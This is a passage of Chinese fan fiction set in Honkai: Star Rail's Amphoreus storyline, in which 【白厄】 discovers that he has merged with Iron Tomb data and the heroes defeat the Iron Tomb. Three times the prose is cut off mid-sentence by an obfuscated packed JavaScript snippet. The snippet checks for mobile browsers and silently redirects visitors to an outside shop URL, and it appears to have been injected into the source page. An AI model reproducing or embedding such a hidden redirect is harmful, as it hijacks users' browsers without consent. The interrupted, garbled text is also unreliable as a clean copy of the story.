【白厄】凝视片刻,确认对方所说真心实意,这才稍微放下心来。 事情敲定之后,众人纷纷整理行装准备出发,【白厄】状似无意的把黄金裔们碰过一圈,确认幻觉仍然只是幻觉,于他暂且无碍,这才问盗火行者要了近期的黑潮动向,做好清缴路线规划,摩拳擦掌的准备开秘技一路杀过去。 这段日子他攒了不少奇巧零食,秘技点管够。 115 临行之前,无名客们自然地聚在一起,简单地交谈了几句。 恰在此时,黑塔和螺丝咕姆赠予的识刻锚微微一震,星熟练地将识刻锚插下放好,看着大黑塔的虚影在旁边投射出来。 “……该死的赞达尔,竟敢把我从数据库中直接踢出去,这个仇我一定会讨回来的!”大黑塔偏头对着空气说话,似乎还没意识到影像已经联通,“前辈又如何?看我今天不摇人组团来群殴他……什么联通?咳、咳咳。” 黑塔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048700|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音戛然而止,影像闪烁了一下,吧嗒熄灭。 星道:“这装置坏了?” 不等开拓者上手拍一拍,黑塔的身影再次出现,她状似不经意地凹着一个优雅而淡定的姿势,仿若短期失忆般对无名客道:“哦,是你们啊,找我有什么事?” 难道不是你主动找我们吗? 无名客们你看看我,我看看你,没人搭话。 “……算了,刚才你们什么都没看到,记住了吗?”大黑塔恢复正常站姿,道,“长话短说,我们刚和天才俱乐部#1打了一架,各有胜负。不过有你们在翁法罗斯内当收集数据的‘探针’,那位前辈又只有一个人,翁法罗斯也不能长腿跑掉,所以只要给伟大的黑塔女士一点时间,重编译再创世的程序并非不可能。” 一个令人期待的好消息。 星清了清嗓子,认真道:“需要我们做什么配合?” “保护好自己,保护好识刻锚,别死了。如果没人带着识刻锚到处走动收集数据我会很困扰的。”黑塔果断道。 几人对视一眼,三月七道:“多谢黑塔女士关心,放心放心,咱们无名客没别的优点,就是耐活。” “哼,谁关心你们了?”黑塔微微扬头,随即又不放心地嘱咐道,“你们可不要不当回事,我和螺丝是有备而来,在交锋中姑且占据了先手。但凭我的经验判断,那位前辈如果不打算冲出翁法罗斯,与我们正面交锋,那他……就快狗急跳墙了。” 116 前线的日子乏善可陈,基本是跑图、清怪、跑图、清怪的循环。 唯一令【白厄】欣慰的地方在于黑潮造物会主动追着他砍,而不是亲近的上来贴贴,不然他真要怀疑一下自己到底是什么情况了。 这样数着时间过去了三个门扉日,金色的若虫送来回归的消息:凯妮斯已除,天空火种、岁月火种和负世火种也已回归。 【白厄】按着清怪路线又转了一圈,确认黑潮暂时没有卷土重来的趋势,随即选中奥赫玛的锚点,确认传送。 众人在创世涡心汇合,黑塔的投影也在,尚未归还的火种一颗挨着一颗的悬浮空中,散发着淡淡暖意。 “听好了,在伟大的黑塔女士和螺丝咕姆的努力下,再创世的重编译已经完成了一部分,螺丝现在拖住了来古士,而你们要在这段时间内归还火种完成再创世。”黑塔轻敲魔法风格的法杖,道,“这次再创世会回退铁墓的演算进度,为我们取得更多的优势。考虑到翁法罗斯现在最需要外部干涉,再创世的人选需要是无名客。” 【白厄】下意识看向星,却发现星也看向了他。 “既是无名客又是天外之人,还对翁法罗斯非常了解……”星自信地一指【白厄】,道,“这个人选非你莫属!” ……不对!这里最不该主导再创世的就是我了,选大地兽都比选我靠谱。谁知道游戏系统和权杖系统会碰撞出什么稀奇古怪的bug,而且我根本不了解翁法罗斯,不行不行不行。【白厄】毫不犹豫地摇头,态度十分坚决。 “咳咳,抓紧时间,万一螺丝被打趴下,重编译的程序被修改回去就白费力气了。”黑塔清了清嗓子,故意催促道。 【白厄】死活不同意接手再创世,剩余三小只抓紧时间商量一下,把星推了出来。 各类火种很快一一归还完毕,星深吸一口气,伸手接过最后一枚负世火种,表情变得严肃而认真。她行过分开两列的黄金裔和无名客们,在众人的期许与注视之中一步步走向祭坛,闭上眼睛,放松手掌,等待火种落入灵水。 啪、啪、啪。 一片寂静之中,忽然响起了掌声。 23. 游戏机制百分百(二十三) 117 一个散发着危险气息的六方体罩子突然出现在祭坛之上,星眼疾手快地把负世火种捞了回来,将其紧紧护在心口,看向前方。 来古士不知何时站在了十二泰坦的符号之下,他负手而立,姿态优雅,如果身上各处没有滋滋冒出电火花的话,想必会更加从容。 “看来你和螺丝的对决结果似乎有些不妙呐,前~辈~”记仇的黑塔女士特意咬着某个词汇,毫不掩饰自己的幸灾乐祸。 “一时的胜负并不能代表什么,你我都明白事物不该只看表象。”来古士轻轻拍手,于是四处乱飞的电火花逐渐消失,“我不比后来者聪明,唯一的优势只在于比你们先行一步,并触碰到了那个界限。天才应当比普通人更能感知到寰宇被锁死的上限,何不与我携手,打破这道枷锁?” “不要拿那套糊弄普通人的理论来哄骗伟大的黑塔女士,我不吃这个。就算有一天我真触摸到了机械头设置的上限,该怎么做,要怎么做,也是我自己的事情。”黑塔漫不经心道,“如果你答应来给我打下手,我倒是还可以考虑考虑开启这项研究——以我的方式。” “……真是朝气蓬勃的年轻人啊。”来古士微笑道,“我曾经也是如此,直到我亲手造就的灾难席卷寰宇,才悔恨万分。事到如今,你认为自己胜券在握了?” 黑塔毫不犹豫道:“没错,虽然我不是很喜欢这么说,但破坏总比创造更容易。如果你不能把翁法罗斯拎包带走,那我们取得胜利便只是时间问题。不过看在你是前辈的面子上,我可以再抽出一点时间,听听你还有什么有趣的对策。” “哈、哈、哈。”来古士并无笑意地笑了几声,抚掌道,“一般来说,我并不喜欢用粗暴的方式解决问题,但事情往往不能如我所愿,也罢,请让我以神礼观众之名,清除掉翁法罗斯内的错误变量,引领她重回正途。” “说不过就动手?真是令人失望。”黑塔投影退后两步,道,“你们上!” 118 事实证明,人不能太自信。 让习惯操作系统的天才——黑塔例外——下场打架未免强人所难,即使来古士手持管理员权限,仍然被黄金裔和无名客群殴得落花流水,更别说盗火行者也拔剑掺和了一下。 【白厄】刚刚进战,甚至来不及释放一次战技,来古士变身的“第一天才.赞达尔”已经被拆得七零八落,若非他和黄金裔互相奈何不得,此刻也并非本体,大概已经被细细地切作臊子当了饲料。 星挥舞了一下球棒,叉腰道:“就这?就这?” 来古士残破的身影闪烁了一下,下一秒,一个崭新的智械已经站在不远处活动手腕,平静道:“只是如此还不足以打败我,诸位,战斗还远未结束。你们大可以继续下去,至少在耐心一道上,我姑且还有些心得。” 听起来是打算靠一键刷新和众人无限耗下去的意思。 星立刻看向黑塔,道:“他开挂!能封号吗?” 盗火行者抽出大剑,上前一步:“我……来……” 【白厄】伸手拦了一下盗火行者,摇摇头,亮出手机:“我来,我有办法拖住他。” 他收回手机,拔出侵晨冲向来古士,认真道:“未来将至!” 现实世界的火种累计速度远超回合制游戏,【白厄】轻松缠住来古士,时不时故意放过一些无关紧要的攻击增加受击次数,十二火种形状的终结技很快激活。 盗火行者微微歪头,看着【白厄】的方向,有些困惑。 智械一边打架一边修复被星砸开的、封锁祭坛的罩子,还有余力分心说话:“没用的,只要我身在此处,你们就无法完成再创世的仪式。” 那你很快就会不在此处了……不过这话是不是太明显了一点,来古士故意的?【白厄】心中升起一丝狐疑,但因噎废食并不可取,所以他只是迟疑了一下,就激活了终结技。 金血迸溅的场景一闪而逝,黑红色的空洞扩大又收回,将来古士和【白厄】一同吞没。 黑塔若有所思地看着两人消失的地方。 三月七恍然道:“又是这招!可以带着敌人一起消失!” 盗火行者迟钝地摸了下胸膛,看看祭坛,看看星手中的负世火种,愈发困惑起来,喃喃道:“……火种?” 119 熟悉的灼痛蔓延全身,金血化作结晶刺穿皮肤,不对称的金紫羽翼自背后舒展。 【白厄】猛然睁开化作灿金的眼眸,毫不犹豫的一扇翅膀飞向高空,俯瞰着荒芜大地上的来古士,自空中召出酝酿陨石的漩涡。 他没有立刻出手,因为他的主要目标是拖住来古士,万一把这个来古士拆了之后外面又刷新一个,反而有些麻烦。 来古士似乎没有继续打下去的意思,收敛力量变回了神礼观众的姿态,自如的打量起四周的景象,赞叹道:“纵然经由计算已经知道了这个境界的存在,亲眼目睹仍令人震撼,不愧是因卡厄斯兰那、最完美的毁灭因子衍生出的力量。” 【白厄】不为所动地悬在高空,随来古士说什么。 反正他的目标只是拖延时间。 来古士微笑着询问:“刚才在创世涡心,为何不答应他们的提议,主导这一次再创世?” 因为大概率会出bug……不过这样特意提起,难道里面还有问题?不对,这家伙竟然知道这件事,怕不是早就到了创世涡心却没有现身?【白厄】习惯性地在心中分析起来。 来古士轻轻叹气,声线温和,内容却令人背后发寒。 “因为铁墓的数据已经与你合并,无论他们重编程了什么内容,只要由你主导,再创世都会令毁灭的演算走到尽头。倘若你刚才同意进行再创世,我就不必与你独处,确保收尾阶段平稳度过;你也不必在之后亲自动手,将碍事的变量抹除。” 【白厄】愣了一下,差点以为自己听错了。 刚才来古士说了什么玩意?什么铁墓?什么合并? 谁被谁合并了?我怎么不知道?! 金发的身影自空中落下视线,表情难掩震惊,而神礼观众静静地欣赏着预料之中的这一幕,张开手臂,露出微笑。 “最近是不是总能看到*数据溢出*衍生出的幻象?无妨,这只是一点小小的副作用,我为铁墓重新编撰了程序,只要他将你封印中的记忆数据全部消化,与你合二为一,你便再也不会受此困扰。 “来自演算之外的变数啊,你将彻底融入这个世界,抛却温情的枷锁,撕开欺骗的面具吧!你将明悟真正的使命,挣脱翁法罗斯的束缚,以席卷寰宇的毁灭,为智识演奏陨落的乐章!” 他轻声说:“……算算时间,似乎差不多了。” 120 与此同时,创世涡心。 负世的火种落入祭坛,第十二枚泰坦印记点亮,四周却迟迟没有变化。 众人你看看我,我看看你,都有些疑惑。 “出bug了?”星拍了拍祭坛,失望道,“我都想好要怎么从记忆里捏人和捏垃圾桶,为翁法罗斯带来全新的明天了。” 阿格莱雅的表情微不可察地变化了一丝,似乎有些后悔。 白厄则兴致勃勃地举起手,询问道:“搭档,你打算捏什么样的垃圾桶?我可以提建议吗?” 金织女士轻柔而不容拒绝地按下了救世主的手臂,一字一顿道:“不可以。” 白厄有些失望地垂下头。 黑塔上前两步,检查了一下祭坛,微微皱眉。 “不对劲。”她说,“没反应是正常的,但这里太空了。” 星睁大了眼睛,迟疑道:“没反应,是正常的?” “当然,我是天才,不是神明,怎么可能在这么短的时间里就编译出完美逆转铁墓推演进度的再创世程序?” 黑塔表现得理所当然。 “我和螺丝只是编写了一个‘看起来会逆转毁灭演算进度’的欺骗程序而已,打算以此引出那位前辈,赞达尔一直躲在翁法罗斯的夹缝里不下场,我们总得找出他的真身。 “只能说老前辈只是老前辈,跟不上寰宇间的潮流,他竟然真信了。” 星的表情立刻变得惊恐起来,仿佛下一秒就会cos名画《呐喊》:“可我们刚把火种都归还了啊?万一再创世成功把铁墓放出去怎么办?” “天才的黑塔女士怎么会犯那种低级错误?”黑塔斜斜看了眼星,道,“放心吧,一点小手段而已,火种根本没被归还。” 说着,她打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048701|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个响指,纷争、理性、死亡、天空、负世的印记都黯淡下来。 几颗火种自动弹出,被惊魂未定的星捞到了怀里。 阿格莱雅上前一步,询问道:“黑塔女士,你说的‘太空了’是指?” 黑塔沉思片刻,脸色忽然一变,道:“该死,被用同样的手段误导了,赞达尔也编写了一个掩盖真相的欺骗程序!权杖内的数据不知为何缺失了很大一部分,他想……” 虚幻的投影忽然变得扭曲,刺耳的杂音混入其中,将黑塔的声音逐渐吞没。 “阻止……滋滋……去找记忆……滋滋滋……” 投影最终还是消失了。 星抱着满怀的火种,有些茫然。 “小心!”丹恒忽然出声,召出流水将众人包裹。 一阵地动山摇间,创世涡心的地面蔓延起一道道裂缝,大片大片的建筑变成蓝色的虚影,不祥的红光自地面冲向天空,又向下折返,凝结成巨大的、暗红的身影。 他/她抬起十字星般的暗红头部,以巨人的身姿俯瞰众人,一道道黑红的方块拉长成线条,它们跳跃,它们欢呼,它们庆祝着某尊存在的诞生。 于是众人恍然明悟。 “铁墓……” 121 荒芜的境界被汹涌的黑红色潮水淹没,几道黑红方块连接成的线条聚拢成球,将一道金色的身影悬吊其中,似囚禁,似保护。 【白厄】用力挣了挣手腕处的黑潮绳索,发现只是徒劳后便停了下来,微微皱眉,凝视前方。来古士正站在球体之外透过缝隙欣赏眼前的景象,如同在看一个完美的作品,但吸引【白厄】目光的并非来古士。 几行只有他能看到的字符快速闪过。 【正在核实个体“来古士”信息……锁定中……】 【正在反破译位置坐标……】 【已锁定】 【达成预设条件,正在解除“默认程序1.0”……】 一个金色的倒三角标记忽然出现在来古士头上,旁边贴心地飘了一行备注:这是本体。 被时墟铁墓(境界名字)拉进来的来古士竟然是本体?他竟如此胆大,就不怕在创世涡心时众人一拥而上再拆一遍吗?嘶,早知道之前那一波陨石直接砸下去好了,说不定能把这位天才当场抬走。【白厄】心中有些可惜。 不对不对,现在不是后悔的时候,这个会追踪来古士本体的程序是哪来的?所谓的“默认程序1.0”又是什么,这么随意的名字,明显是随口起的吧? 【白厄】盯着眼前唯一剩下没有消失的一条字符使劲看,字符活泼地抖了抖,在下方新增了一行解锁进度条:15%……18%……22%…… 就在这时,来古士开口了。 “真是奇妙的运行方式啊,即使封印中的记忆数据被消化殆尽,作为表层意识的你却基本不受影响。难怪之前的诱导收效甚微,‘你’身为铁墓,除开权限与本质,却几乎要和本体断开联系了。” 被封印的记忆数据?不会是游戏系统的数据库被吃了吧?这当然不会影响到我,因为我自己也是个完整的、独立的人……额,就是失忆得有点严重。【白厄】心中翻了个白眼,不打算也没办法纠正来古士的错误认知——他现在被黑潮吊得很紧,根本摸不出手机。 “也罢,些微残余并不影响最终计划的推进,铁墓人格数据的缺失对我来说并非坏事。我已在最佳的观礼台上见证了铁墓的蜕变,至于现在,阁下,请容我暂且告退。我将去翁法罗斯见证变量的终结,见证一位绝灭大君的破壳而出。” 智械后退两步,优雅地弯腰行礼,而后身影闪烁了一下,打算就此离开。 【检测到个体“来古士”坐标跳跃,已撤回】 滋滋的杂音中,来古士闪烁虚化的身影再次稳定下来,他猛然抬头,目光锁定金色的身影,罕见地露出了愕然的表情。 【白厄】微微抬起眼帘,对来古士挑衅地笑了一下。 虽然他也不清楚眼前的字符代表了什么,但这不妨碍他装作清楚的样子,给来古士添堵。 恰在此时,默认程序1.0的解除进度条走到了100%,伴随着细微的破碎声,一段记忆裹挟着情绪自脑海深处上浮。 24. 游戏机制百分百(二十四) 122 五个门扉日前。 【白厄】在和盗火行者的相互盯防中结束了晚餐时光,有些郁闷的返回无名客的私人浴宫,毫无睡意的躺在了躺椅上。 星与遐蝶前往斯缇科西亚尚未回归,丹恒和三月七也不在浴宫中,【白厄】在明亮的阳光中翻来覆去、左思右想,最终“噌”的一下坐了起来。 “……我还是觉得不对劲。来古士费尽心思把我抓走只是为了看一看所谓的‘历史记录’?三千万次的亲身经历还没把他看吐吗。幻觉的出现也很微妙,理论来讲,我从未亲眼见证那些,应该想象不出如此真实的画面才对。” 他苦恼地抓了抓头发,无论如何也放不下心。然而连那刻夏与风堇也没看出什么问题,更遑论他人,除非现在掏出识刻锚把黑塔女士摇过来隔空问诊……等等,他好像有更好的选择? 【白厄】眼睛一亮,拉出通讯录开始敲“穿越指引系统”的大门。 玩家:开门开门,不要自动回复,我知道你一直都在。 玩家:又出bug了!我一碰黄金裔就产生幻觉,你应该清楚这件事吧? 【回复:……】 【对方撤回了一条消息】 【回复:这是外来数据一次性注入过多导致的*数据溢出*现象,只要消化一段时间会恢复正常,不用担心。】 对方回答的语气稀松平常,像在谈论一日三餐,却令一道惊雷自【白厄】的脑海中闪过。他愣了两秒,后知后觉地感到悚然。 玩家:……外来数据?我怎么完全不知道? 之前几次外来者入侵时,且不论结果好坏,游戏系统至少会给出反应,可这次竟然悄无声息,你的bug修复进度条到底修了什么啊? 【判断:外来数据的运行逻辑为*养料*,无攻击性,无安全隐患,不必对你做出提醒。】 因为被投喂的是毫无危险性的补品,所以我不问就不说了?这是什么被一根棒棒糖就能忽悠走的小孩子。【白厄】盯着回复看了半晌,只觉得头疼。 他已经大致想明白了前因后果。 只能说天才不愧是天才,短短一次接触就摸清了【白厄】自己都没意识到的系统漏洞,既然攻击性的入侵会触发警报和自动反击,那让入侵毫无攻击性甚至有益处不就好了? 虽然目测这次数据入侵只有糖衣没有炮弹,但【白厄】可不相信来古士只是来慈善投喂的,这背后一定有更深层次的目的。 不过,来古士是认知有误才用了这样的手段,可系统竟然真的可以消化其他数据提升自己,这究竟是……这个念头一闪而过,他随手敲过去一行字。 玩家:算了,之后不要什么都吃。所以这个“外来数据”到底是什么东西? 【对比:外来数据与铁墓数据高度相似,判定为一。】 私人浴宫里忽然传出咕咚一声,疑似什么沉重的物件掉在了地上。 我好像被摔出幻觉了……【白厄】呆呆地看着天花板,挣扎着爬了两下却因太过震惊没爬起来,干脆在地板上躺平。 玩家:你说来古士把什么东西塞进来了?! 玩家:铁墓怎么可能没有攻击性! 【核实:未发现危险,结论无误。】 他没有立刻回复,而是捂着额头冷静了一会,终于平复心情,更详细地询问了一番。 事情并非【白厄】预想得那么糟糕。 简单来说,来古士只塞进来部分——可能是大部分——铁墓数据,而且重写了程序,主要目的就是令这部分数据与他合并,至于结果到底是谁消化谁,来古士似乎并不在意。 这样做的意图到底是什么?他停顿了一下,因心中隐约的答案而有些迟疑,但犹豫只是一瞬间,询问的信息还是发了出去。 玩家:如果数据成功合并,会发生什么? 【判断:无论是否主导数据合并,你+外来数据都足以推动*演算进度*抵达终点。】 “……” 他沉默下来,许久,才慢慢地、斟酌着词句发出消息。 玩家:我的……演算进度? 玩家:事到如今,你仍然没有什么想说的吗。 【判断:未满足条件……玩家知情度加分计入中……已满足条件。】 【回复:在旅途的重要节点,你将以“自我”做出抉择。在抉择之前,你的一切疑问都将被解答。】 一点璀璨的彩光自眼前浮现,而后迅速将意识吞没。 123 他睁开眼睛,面前是荒芜的大地,天空遍布暗红的阴云,一个半透明的结晶影子飘在面前,五官模糊、形体涣散,连性别也无法判断。 影子说:“你好,初次见面,久别重逢。” 他问道:“你是谁?穿越指引系统?” 影子微微摇头,没有回答,只是伸手一点,令一行格式似曾相识的字符自空气中凝结而出。 【抉择:卡厄斯兰那or玩家】 他怔怔地看着这串字符,只觉嗓子干涩,几次开口都没成功,最终挤出一个略显自嘲的笑容:“你不会告诉我,我就是白厄吧?怎么可能……不,这样的走向未免太过俗套。” “并非白厄,只有独行过亿万次轮回、无缘黎明的卡厄斯兰那。”影子认真纠正,道,“倘若你选择卡厄斯兰那,一路上的疑点便都有了解答。” 影子讲述了一个故事。 倘若在永劫轮回之初,卡厄斯兰那就因巧合打捞起另一个世界的故事,看到了崩铁的游戏剧情,并在巧合中获得了永不焚毁的身躯,他能否成功改写翁法罗斯的悲剧?结果是否定的。 困于虚拟世界中的数据尝试了千万次条路,封死了千万种可能,他疯狂过,绝望过,也崩溃过,但铭记于心的愿望最终支持着他一次又一次地坚持了下来,支撑他抵达33550336次轮回而灰白黎明并未降临的时候,走入下一个轮回。 “当轮回的次数堆叠过多,便失去了令人共情的基础。坚守的囚徒最终什么都没能拯救,他自翁法罗斯的灰烬中被擢升,被赞达尔认定为最终的成果。”影子说。 铁墓并非一层不变,他/她是翁法罗斯,是黑潮,是黄金裔,是末世中千千万万的普通人。卡厄斯兰那在翁法罗斯的毁灭中诞生,在灾难中幸存,无论本人是否愿意,当他自毁灭的余波中独行而出时,便已攫取了令使的权柄。 “如果让现在的你来评价,那个世界很绝望。”影子说。 离开洞穴走入寰宇的无乡之人并未向智识举起锋刃,也未向毁灭宣战,而是游魂般四处游荡。他曾顺着开拓的足迹一路追寻,在黑塔空间站看见似曾相识的身影;也曾前往偏僻未知的世界,在毁灭未达之地行拯救之举。 可惜,美好如露珠般短暂,神战的怒火最终席卷世界。 何其可悲,众神陨落,英雄牺牲,寰宇行至末路。 何其可笑,不想活的人活到了最后,什么也拯救不了的救世主不得不再一次踏上旅途,试图拯救一切。 卡厄斯兰那咀嚼着寰宇的残余,将熟悉的、陌生的人和事物统统化作数据咽下,他知道熄灭的灰烬无法拯救任何人,也要避免太过强大而被其他世界排斥,于是他对自己进行了严苛的封印,将自我雕刻剔凿,以年少所知的游戏剧情为蓝本,化作一名“玩家”。 影子讲到此处停顿一下,有些苦恼的挠了挠头,说:“善良抽象,喜欢吐槽,相信美好,有点乐观但不多,有点活泼也不多……这些还算在计划之中,唯独玻璃心这一点明明没有特意保留,不知为何却一模一样。” 他:“……” 过分了啊,讲故事就讲故事,怎么还带人身攻击的? 你才玻璃心,你全家都玻璃心。 在一切寂灭之时,当存在都不复存在之后,卡厄斯兰那决定突破界限,去另一个天地复刻希望,收集到足够多的数据,然后进行一场以寰宇为单位的“再创世”!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048702|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 故事讲到这里便告一段落,他问道:“纵然如此,复活、锚点、背包。角色这些玩家功能怎么解释?” 影子道:“你大概对消化了整个寰宇的生命体存在误解,你现在所持有的权能,已经是克制再克制后的结果了。” 他叹了口气:“抱歉,我还是无法共情,对我来说,故事只是故事而已。况且既然是抉择,那么从玩家的角度,一切应该也都说得通?” “当然。”影子的语气忽然活泼了不少,“如果是玩家的话,其实也很简单。” 在某种层面上,智慧生命虚无缥缈的意志可以化作力量,影子正是对美好祈愿的追求所化作的系统。系统和意外挂了的玩家签订契约,以修正悲剧为条件,换玩家在原世界复活,所谓的演算进度也可以理解为玩家复活进度条。 他吐槽道:“相比之下这个故事也太敷衍了吧?设定东拼西凑,套路也眼熟,一看就没有用心编。而且根本就没有解释清楚我目前的情况啊!” 于是影子勉为其难地又编……解释了一下。 因为是美好祈愿中的诞生的系统,为了防止复活不该复活的家伙,所以会在穿越前封印宿主的记忆,倘若此人但凭本心修正了悲剧,那么将其复活也无妨。 他沉默了一会,忍了又忍,没忍住:“太牵强了吧?都未经同意抹掉别人的记忆了,这算哪门子‘从美好祈愿中诞生’的系统?” 影子想了想,打补丁道:“其实抹掉记忆前征求过你的同意,不信?你恢复记忆后就信了。嗯……你看到的各种过于真实的幻象也源于系统数据库,这样解释就没问题了吧?” 他:“……” 好生无赖的手段,简直是有恃无恐。 “无论我怎么说,做出决定的仍然是你……虽然我确实有诱导倾向的嫌疑。但正如之前所说,在旅途的关键节点,你将以‘自我’做出抉择。”影子温和道,“不必担心,唯有这一点我不会说谎。已经做了这么多努力,便坦然接受‘抉择’的权利,让‘我们’凭自己的意愿,任性一次吧。” 那行字符再次飘在了眼前。 【抉择:卡厄斯兰那or玩家】 “演算进度百分百,完成最终抉择,达成这两个条件后,你就可以‘回家’了。至于回家的方式,你已掌握在手中。” 124 他道:“这个抉择,可以延后再做吗?” 影子:“为什么?” 他支着下巴思索了一会,道:“我有一个想法,虽然吃掉这波数据就能完成演算,将‘我们’的进度条推到一百,但不应该达成目的就立刻走人。不如利用这个机会,想办法把来古士和铁墓的问题一起解决。” 影子歪了歪头,提醒道:“‘我们’能动用的力量有限,否则即使不被‘抹杀’也会被迫弹出这个世界,做不到横推翁法罗斯的。” “不必用武力,将计就计而已。”他笑着道,“暂且让外来数据成长起来吧,我要让来古士后悔把我的血条与铁墓的血条合二为一。” 影子:“……这会让我怀疑你之前自杀也是早有预谋的。” 他说:“我可没有想得这么远,虽然隐约有过这样的念头……不说这个了,再帮我一个忙,为了避免那位天才看出什么,把和你交谈的这段记忆一切封锁吧,等到时机合适再归还。别和我说你做不到,否则我那大片空白的记忆要怎么解释?” 影子叹气:“你对自己也够狠啊。” 他笑着说:“彼此彼此。” 影子模糊不清的面容上似乎显露出一点笑意:“别误会了,我的存在形式并非真正的人,只是你更适应这样的信息交换方式,才捏出了‘我’,究其根本,你只是在和你的内心对话而已。” “打住,抉择还没落定呢,就不要说这些超纲的话了。”他伸出手臂比了个叉号,“记得把我的疑惑一起抹掉,否则以我的性格,不会放着幻觉不管的。” 影子说:“如你所愿。” 25. 游戏机制百分百(完) 125 时间回到现在,创世涡心。 极具压迫感的怪物按住地面,非人的面孔俯视众人,自半空中凝出一发发暗红色的光弹。星召出炎枪抵住一发光弹,随即被巨大的冲击力击退,枪尖在地面上拖出长长的沟壑。 “迷!”粉色的精灵焦急地绕着星飞了一圈,看看星,再看看铁墓,声音中忽然多了几分迷茫,“迷迷迷?” “你说什么?”星发现自己竟然没听懂迷迷的话。 暗红的光弹如狂风暴雨般落下,众人抵挡的极为艰难,盗火行者毫不犹豫地撕开胸膛,泼洒而出的金血化作半透明的护罩,将危险阻拦在外。 炽热的气浪猛然爆发,黑袍的身影自身后舒展双翼,一道崭新的裂隙顺着他的五官向下蔓延,露出其内滚烫的金血。 “这是……糟了,他承载火种的时间太过漫长,这样动用力量,卡厄斯兰那阁下的身体会支撑不住的!”风堇担忧地攥紧了衣角。 “无妨,我的性命,本就微不足道。”金发的身影轻声回应,他的目光略显留恋的一一掠过众人,最后看向白厄,道,“倘若我支撑不住……” 白厄踏前一步,肃然道:“我会接过这一切,继续燃烧,直到完成我们未竟的愿望。” 卡厄斯兰那僵硬地扬了扬嘴角,露出一个微笑,而后扇动羽翼,冲天而起。 万千道流火从天而降,砸向庞然的怪物。怪物仰起脑袋,只见黑红色的斑块微微闪烁,裹挟着毁灭气息的陨石竟渐渐虚化、消失。 “这是,删除?该死!”那刻夏咬牙说道。 一道汹涌的黑红光柱自消弭的陨石间穿透而来,卡厄斯兰那反应极快地召出大剑,反手劈开黑红的洪流,而后猛然下砍。 怪物本欲拍开这个碍事的飞鸟,却忽然震颤了一下,庞然的气息在这一刻急速衰退下去,活跃的黑潮迅速萎靡,连身影也摇摇欲坠。最终,怪物只是勉强举起手臂,挡住了那道金色的利刃。 倘若有人能具现化的看到铁墓的生命值,就会发现在这一刻,满溢的血条忽然被无形擦除,扣掉了99%。 “为什么……”有人疑问。 炽热的利刃与铁墓的手臂相互摩擦,迸溅出细碎星火,而怪物一方明显有些后继乏力,只能看着致命的锋刃一点点下压。 无面的怪物凝视着卡厄斯兰那,抬起另一只手,慢慢对准远处的众人,逐渐积蓄起毁灭的力量。 “不好……快散开!” 话音未落,光柱已经疾驰而出。 卡厄斯兰那果断舍弃大剑,擦着怪物的手臂向下俯冲,合拢羽翼,试图挡住那道洪流。灿烂的金色自光柱之下爆发,而后渐渐熔化,细微的咔嚓咔嚓声中,灰白色的躯壳碎片一点点剥落、掉下。 “迷——!”迷迷忽然挣脱星的手臂,迎着盛大的金色冲了过去。 银月般的锋刃自卡厄斯兰那的手中滑落,剑面的反光中倒映出粉发少女的身影。 似乎是一瞬间,又似乎是永恒,彩色光晕轻柔地铺展开来,自光芒中诞生的昔涟背着手臂,轻轻回眸,向卡厄斯兰那微笑。 “没想到会在这种时候久别重逢呢,来,让我助你一臂之力吧?” 卡厄斯兰那恍惚了一下,很快又清醒过来,用力地点了点头。 金与银的光芒拉长成绚烂的丝带,如同太阳和月亮,他们冲破了黑红的光柱,将庞然的怪物击落,巨大的身躯轰然倒下,掀起无数碎石。 星放下遮挡风波的手臂,向远处凝望:“……结束了?” 126 忽然,以铁墓为起点,朦朦白光陡然绽放,逐渐吞没了一切。 在万事万物都变得寂静的世界里,星看着大家茫然对视,看着丹恒向她无声呼喊,看着创世涡心渐渐消失,而后视角拔高,看着奥赫玛如墨迹落入水中般消融。 刻法勒、神梧树庭、命运重渊、悬峰城、斯缇科西亚……所有的城邦都消散在朦朦白光之中,唯有携带着负世火种的星站在虚空之中,俯瞰着一片空无的大地。 “哎呀,即使是我,也没见过这样的场景呢。”少女轻快的声音响起,“一切都消散在混沌之中,等待负世泰坦将记忆重新捏造,这就是再创世吗?” 昔涟走到星的面前,露出盈盈笑意。 星道:“是你……” 昔涟说:“是我哦,看来那位陌生的熟人向你介绍过我了,但还是认识一下吧,初次见面,我是哀丽秘榭的昔涟,为协助‘救世主’完成再创世而来。” 星有些迷惑:“为什么突然变成了这样,为什么……就要再创世了?” “铁墓与权杖固然是翁法罗斯的悲剧的根源,却也支撑起了这片天地,当铁墓轰然倒塌,翁法罗斯也会随之覆灭。” 昔涟轻轻握住星的手掌,说:“不过别担心,我,我们,大家为这一刻已经准备了很久很久,现在,隐患已经全部消除,来,随我将故事翻开崭新的一页,为这段浪漫的故事画上一个美好的句号吧?” 